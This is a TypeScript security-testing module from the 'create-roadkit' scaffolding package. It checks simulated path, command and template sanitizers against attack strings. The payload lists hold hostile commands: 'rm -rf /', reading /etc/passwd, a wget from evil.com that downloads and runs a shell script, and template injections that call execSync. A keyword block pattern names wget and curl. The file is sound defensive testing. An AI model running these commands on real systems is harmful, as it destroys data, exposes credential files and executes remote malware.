create-roadkit
Version:
Beautiful Next.js roadmap website generator with full-screen kanban boards, dark/light mode, and static export
606 lines (528 loc) • 21.2 kB
text/typescript
/**
* Security testing utilities for RoadKit project scaffolding system.
*
* This module provides comprehensive security validation and testing capabilities
* to ensure the scaffolding system is protected against various attack vectors
* including path traversal, command injection, template injection, and more.
*
* SECURITY FEATURES:
* - Path traversal attack detection and prevention
* - Command injection vulnerability testing
* - Template injection and ReDoS attack protection
* - File system race condition detection
* - Comprehensive security audit capabilities
*/
import path from 'path';
import crypto from 'crypto';
import type { Logger } from '../types/config';
/**
* Security test result interface
*/
export interface SecurityTestResult {
testName: string;
passed: boolean;
severity: 'low' | 'medium' | 'high' | 'critical';
description: string;
details?: string;
mitigation?: string;
}
/**
* Security audit configuration
*/
export interface SecurityAuditConfig {
enablePathTraversalTests: boolean;
enableCommandInjectionTests: boolean;
enableTemplateInjectionTests: boolean;
enableRaceConditionTests: boolean;
enableFileSystemTests: boolean;
maxTestDuration: number; // milliseconds
testDataSampleSize: number;
}
/**
* Comprehensive security testing and validation utility class
*
* This class provides a complete suite of security tests to validate
* the scaffolding system against various attack vectors and vulnerabilities.
*/
export class SecurityTester {
private logger: Logger;
private config: SecurityAuditConfig;
/**
* Initialize security tester with configuration
* @param logger - Logger instance for test reporting
* @param config - Security audit configuration
*/
constructor(logger: Logger, config?: Partial<SecurityAuditConfig>) {
this.logger = logger;
this.config = {
enablePathTraversalTests: true,
enableCommandInjectionTests: true,
enableTemplateInjectionTests: true,
enableRaceConditionTests: true,
enableFileSystemTests: true,
maxTestDuration: 30000, // 30 seconds
testDataSampleSize: 100,
...config,
};
}
/**
* Runs a comprehensive security audit of the scaffolding system
*
* @returns Array of security test results with detailed findings
*/
public async runSecurityAudit(): Promise<SecurityTestResult[]> {
this.logger.info('Starting comprehensive security audit');
const startTime = Date.now();
const results: SecurityTestResult[] = [];
try {
// Path traversal vulnerability tests
if (this.config.enablePathTraversalTests) {
this.logger.info('Running path traversal vulnerability tests');
const pathTraversalResults = await this.testPathTraversalVulnerabilities();
results.push(...pathTraversalResults);
}
// Command injection vulnerability tests
if (this.config.enableCommandInjectionTests) {
this.logger.info('Running command injection vulnerability tests');
const commandInjectionResults = await this.testCommandInjectionVulnerabilities();
results.push(...commandInjectionResults);
}
// Template injection vulnerability tests
if (this.config.enableTemplateInjectionTests) {
this.logger.info('Running template injection vulnerability tests');
const templateInjectionResults = await this.testTemplateInjectionVulnerabilities();
results.push(...templateInjectionResults);
}
// Race condition vulnerability tests
if (this.config.enableRaceConditionTests) {
this.logger.info('Running race condition vulnerability tests');
const raceConditionResults = await this.testRaceConditionVulnerabilities();
results.push(...raceConditionResults);
}
// File system security tests
if (this.config.enableFileSystemTests) {
this.logger.info('Running file system security tests');
const fileSystemResults = await this.testFileSystemSecurity();
results.push(...fileSystemResults);
}
const duration = Date.now() - startTime;
const criticalIssues = results.filter(r => r.severity === 'critical' && !r.passed);
const highIssues = results.filter(r => r.severity === 'high' && !r.passed);
this.logger.info(`Security audit completed in ${duration}ms`);
this.logger.info(`Found ${criticalIssues.length} critical and ${highIssues.length} high severity issues`);
return results;
} catch (error) {
this.logger.error('Security audit failed', error);
results.push({
testName: 'Security Audit Execution',
passed: false,
severity: 'critical',
description: 'Security audit execution failed',
details: error instanceof Error ? error.message : 'Unknown error',
mitigation: 'Fix the underlying issue and re-run the security audit',
});
return results;
}
}
/**
* Tests for path traversal vulnerabilities
*/
private async testPathTraversalVulnerabilities(): Promise<SecurityTestResult[]> {
const results: SecurityTestResult[] = [];
// Test cases for path traversal attacks
const pathTraversalPayloads = [
'../../../etc/passwd',
'..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
'....//....//....//etc/passwd',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
'..%252f..%252f..%252fetc%252fpasswd',
'..%c0%af..%c0%af..%c0%afetc%c0%afpasswd',
'/var/www/../../etc/passwd',
'C:\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts',
'../../../../../../../../../../etc/passwd%00.jpg',
'../.../.../.../etc/passwd',
];
for (const payload of pathTraversalPayloads) {
try {
// Simulate the path sanitization that should occur
const sanitized = this.simulatePathSanitization(payload);
const testResult: SecurityTestResult = {
testName: `Path Traversal Test: ${payload.substring(0, 30)}...`,
passed: sanitized === null || !this.containsPathTraversal(sanitized),
severity: 'critical',
description: 'Tests path traversal attack prevention',
details: `Input: ${payload}, Sanitized: ${sanitized}`,
mitigation: 'Ensure path sanitization properly validates and normalizes all file paths',
};
results.push(testResult);
} catch (error) {
results.push({
testName: `Path Traversal Test: ${payload.substring(0, 30)}...`,
passed: false,
severity: 'critical',
description: 'Path traversal test execution failed',
details: error instanceof Error ? error.message : 'Unknown error',
mitigation: 'Fix path sanitization implementation',
});
}
}
return results;
}
/**
* Tests for command injection vulnerabilities
*/
private async testCommandInjectionVulnerabilities(): Promise<SecurityTestResult[]> {
const results: SecurityTestResult[] = [];
// Test cases for command injection attacks
const commandInjectionPayloads = [
'/tmp/project; rm -rf /',
'/tmp/project && echo "pwned" > /tmp/hacked',
'/tmp/project | cat /etc/passwd',
'/tmp/project`rm -rf /`',
'/tmp/project$(rm -rf /)',
'/tmp/project; wget http://evil.com/malware.sh -O /tmp/mal.sh; sh /tmp/mal.sh',
'C:\\Project & del /F /S /Q C:\\*',
'/tmp/project\nrm -rf /',
'/tmp/project\r\nformat C:',
'/tmp/project; python -c "import os; os.system(\'rm -rf /\')"',
];
for (const payload of commandInjectionPayloads) {
try {
// Test if the payload would be properly sanitized
const isSanitized = this.simulateCommandSanitization(payload);
const testResult: SecurityTestResult = {
testName: `Command Injection Test: ${payload.substring(0, 30)}...`,
passed: isSanitized,
severity: 'critical',
description: 'Tests command injection attack prevention',
details: `Payload: ${payload}, Sanitized: ${isSanitized}`,
mitigation: 'Use subprocess calls with explicit arguments instead of shell interpolation',
};
results.push(testResult);
} catch (error) {
results.push({
testName: `Command Injection Test: ${payload.substring(0, 30)}...`,
passed: false,
severity: 'critical',
description: 'Command injection test execution failed',
details: error instanceof Error ? error.message : 'Unknown error',
mitigation: 'Fix command execution implementation',
});
}
}
return results;
}
/**
* Tests for template injection vulnerabilities
*/
private async testTemplateInjectionVulnerabilities(): Promise<SecurityTestResult[]> {
const results: SecurityTestResult[] = [];
// Test cases for template injection and ReDoS attacks
const templateInjectionPayloads = [
'{{constructor.constructor("return process")().exit()}}',
'{{7*7}}{{7*\'7\'}}',
'${7*7}',
'#{7*7}',
'{{config.items}}',
'{{constructor.constructor(\"return global.process.mainModule.require(\'child_process\').execSync(\'id\')\")()}}',
'{{range.constructor("return global.process.mainModule.require(\'child_process\').execSync(\'id\')")()}}',
// ReDoS patterns
'(a+)+b' + 'a'.repeat(50) + 'c',
'(a|a)*b' + 'a'.repeat(50) + 'c',
'([a-zA-Z]+)*b' + 'a'.repeat(50) + 'c',
];
const templateContext = {
name: 'TestProject',
version: '1.0.0',
nested: {
value: 'test',
},
};
for (const payload of templateInjectionPayloads) {
try {
const startTime = Date.now();
const processed = this.simulateTemplateProcessing(payload, templateContext);
const duration = Date.now() - startTime;
// Check if processing took too long (potential ReDoS)
const isReDoS = duration > 1000; // 1 second threshold
// Check if dangerous code was executed
const isDangerous = processed.includes('constructor') ||
processed.includes('process') ||
processed.includes('require') ||
processed.includes('execSync');
const testResult: SecurityTestResult = {
testName: `Template Injection Test: ${payload.substring(0, 30)}...`,
passed: !isDangerous && !isReDoS,
severity: isDangerous ? 'critical' : (isReDoS ? 'high' : 'medium'),
description: 'Tests template injection and ReDoS attack prevention',
details: `Payload: ${payload}, Processed: ${processed}, Duration: ${duration}ms`,
mitigation: 'Sanitize template variables and implement ReDoS protection with timeouts',
};
results.push(testResult);
} catch (error) {
// Template processing should fail gracefully, not throw errors
results.push({
testName: `Template Injection Test: ${payload.substring(0, 30)}...`,
passed: true, // Failing is actually good - it means the injection was prevented
severity: 'medium',
description: 'Template injection test caused controlled failure',
details: error instanceof Error ? error.message : 'Unknown error',
mitigation: 'Ensure template processing has proper error handling',
});
}
}
return results;
}
/**
* Tests for race condition vulnerabilities
*/
private async testRaceConditionVulnerabilities(): Promise<SecurityTestResult[]> {
const results: SecurityTestResult[] = [];
try {
// Test concurrent file operations for race conditions
const testPath = path.join(process.cwd(), '.security-test-temp');
const concurrentOperations = 10;
const operations: Promise<any>[] = [];
// Simulate concurrent file creation attempts
for (let i = 0; i < concurrentOperations; i++) {
operations.push(
this.simulateConcurrentFileOperation(testPath, i)
);
}
const results_concurrent = await Promise.allSettled(operations);
const failed = results_concurrent.filter(r => r.status === 'rejected').length;
const succeeded = results_concurrent.filter(r => r.status === 'fulfilled').length;
results.push({
testName: 'Concurrent File Operation Race Condition Test',
passed: failed === 0, // All operations should succeed without race conditions
severity: 'high',
description: 'Tests for race conditions in concurrent file operations',
details: `${succeeded} succeeded, ${failed} failed out of ${concurrentOperations} operations`,
mitigation: 'Implement proper locking and atomic operations for file system operations',
});
// Cleanup test files
try {
for (let i = 0; i < concurrentOperations; i++) {
await Bun.unlink(`${testPath}-${i}`).catch(() => {});
}
} catch {
// Ignore cleanup errors
}
} catch (error) {
results.push({
testName: 'Race Condition Test Execution',
passed: false,
severity: 'medium',
description: 'Race condition test execution failed',
details: error instanceof Error ? error.message : 'Unknown error',
mitigation: 'Fix race condition testing implementation',
});
}
return results;
}
/**
* Tests for file system security issues
*/
private async testFileSystemSecurity(): Promise<SecurityTestResult[]> {
const results: SecurityTestResult[] = [];
// Test file extension validation
const dangerousExtensions = ['.exe', '.bat', '.cmd', '.com', '.scr', '.vbs', '.js', '.jar', '.sh'];
for (const ext of dangerousExtensions) {
const filename = `test${ext}`;
const isBlocked = this.simulateFileExtensionValidation(filename);
results.push({
testName: `Dangerous File Extension Test: ${ext}`,
passed: isBlocked,
severity: 'medium',
description: 'Tests blocking of potentially dangerous file extensions',
details: `Extension ${ext} blocked: ${isBlocked}`,
mitigation: 'Maintain allowlist of safe file extensions and block dangerous ones',
});
}
// Test file size limits
const largeSizeTest = this.simulateFileSizeValidation(100 * 1024 * 1024); // 100MB
results.push({
testName: 'File Size Limit Test',
passed: !largeSizeTest, // Should be blocked
severity: 'medium',
description: 'Tests file size limit enforcement',
details: `100MB file allowed: ${largeSizeTest}`,
mitigation: 'Implement reasonable file size limits to prevent DoS attacks',
});
return results;
}
// ============================================================================
// SIMULATION METHODS FOR TESTING SECURITY IMPLEMENTATIONS
// ============================================================================
/**
* Simulates path sanitization logic for testing
*/
private simulatePathSanitization(inputPath: string): string | null {
try {
if (!inputPath || typeof inputPath !== 'string') {
return null;
}
// Remove null bytes
let cleaned = inputPath.replace(/\x00/g, '');
// Check for dangerous patterns
const blockedPatterns = [/\.\.|[<>:"|\\*\\?]/g, /\x00/g, /[\/\\]{2,}/g];
for (const pattern of blockedPatterns) {
if (pattern.test(cleaned)) {
return null;
}
}
// Normalize path
cleaned = path.normalize(cleaned);
// Check for path traversal
if (cleaned.includes('..')) {
return null;
}
return cleaned;
} catch {
return null;
}
}
/**
* Checks if a path contains path traversal attempts
*/
private containsPathTraversal(pathStr: string): boolean {
const dangerousPaths = ['/etc/', '/var/', '/usr/', '/root/', 'C:\\Windows', 'C:\\System'];
return dangerousPaths.some(dangerous => pathStr.includes(dangerous));
}
/**
* Simulates command sanitization for testing
*/
private simulateCommandSanitization(command: string): boolean {
// Check if command contains injection patterns
const injectionPatterns = [
/[;&|`$()]/, // Command separators and substitution
/\n|\r/, // Newlines
/\s(rm|del|format|wget|curl|python|perl|ruby|php)\s/i, // Dangerous commands
];
return !injectionPatterns.some(pattern => pattern.test(command));
}
/**
* Simulates template processing for testing
*/
private simulateTemplateProcessing(template: string, context: any): string {
// Basic template processing simulation with security measures
let processed = template;
// Simple variable replacement with sanitization
const regex = /\{\{([^}]+)\}\}/g;
processed = processed.replace(regex, (match, variable) => {
// Block dangerous patterns
if (variable.includes('constructor') ||
variable.includes('process') ||
variable.includes('require')) {
return '[BLOCKED]';
}
// Simple variable lookup
const parts = variable.trim().split('.');
let value = context;
for (const part of parts) {
if (value && typeof value === 'object' && part in value) {
value = value[part];
} else {
return '';
}
}
return String(value || '');
});
return processed;
}
/**
* Simulates concurrent file operation for race condition testing
*/
private async simulateConcurrentFileOperation(basePath: string, index: number): Promise<void> {
const filePath = `${basePath}-${index}`;
// Simulate check-then-act race condition
const exists = await Bun.file(filePath).exists();
if (!exists) {
// Small delay to increase chance of race condition
await new Promise(resolve => setTimeout(resolve, Math.random() * 10));
await Bun.write(filePath, `Test content ${index}`);
}
}
/**
* Simulates file extension validation
*/
private simulateFileExtensionValidation(filename: string): boolean {
const allowedExtensions = ['.js', '.ts', '.tsx', '.jsx', '.json', '.md', '.css', '.html', '.yml', '.yaml', '.txt'];
const ext = path.extname(filename).toLowerCase();
return !ext || allowedExtensions.includes(ext);
}
/**
* Simulates file size validation
*/
private simulateFileSizeValidation(size: number): boolean {
const maxSize = 10 * 1024 * 1024; // 10MB limit
return size <= maxSize;
}
/**
* Generates a security report from test results
*/
public generateSecurityReport(results: SecurityTestResult[]): string {
const critical = results.filter(r => r.severity === 'critical' && !r.passed);
const high = results.filter(r => r.severity === 'high' && !r.passed);
const medium = results.filter(r => r.severity === 'medium' && !r.passed);
const low = results.filter(r => r.severity === 'low' && !r.passed);
const passed = results.filter(r => r.passed).length;
const total = results.length;
return `
# RoadKit Security Audit Report
## Summary
- **Total Tests:** ${total}
- **Passed:** ${passed}
- **Failed:** ${total - passed}
## Issues by Severity
- **Critical:** ${critical.length}
- **High:** ${high.length}
- **Medium:** ${medium.length}
- **Low:** ${low.length}
## Critical Issues
${critical.map(issue => `
### ${issue.testName}
- **Description:** ${issue.description}
- **Details:** ${issue.details || 'N/A'}
- **Mitigation:** ${issue.mitigation || 'N/A'}
`).join('\n')}
## High Severity Issues
${high.map(issue => `
### ${issue.testName}
- **Description:** ${issue.description}
- **Details:** ${issue.details || 'N/A'}
- **Mitigation:** ${issue.mitigation || 'N/A'}
`).join('\n')}
## Recommendations
${critical.length > 0 ? '- **IMMEDIATE ACTION REQUIRED:** Fix all critical security issues before deployment.' : ''}
${high.length > 0 ? '- Address high severity issues as soon as possible.' : ''}
- Regularly run security audits during development.
- Implement security monitoring and alerting.
- Consider penetration testing for production deployments.
`.trim();
}
}
/**
* Factory function to create a SecurityTester instance
* @param logger - Logger instance for test reporting
* @param config - Optional security audit configuration
* @returns Configured SecurityTester instance
*/
export const createSecurityTester = (
logger: Logger,
config?: Partial<SecurityAuditConfig>
): SecurityTester => {
return new SecurityTester(logger, config);
};
/**
* Convenience function to run a quick security audit
* @param logger - Logger instance
* @returns Promise with security test results
*/
export const runQuickSecurityAudit = async (logger: Logger): Promise<SecurityTestResult[]> => {
const tester = createSecurityTester(logger, {
testDataSampleSize: 10, // Reduced for quick audit
maxTestDuration: 5000, // 5 seconds max
});
return await tester.runSecurityAudit();
};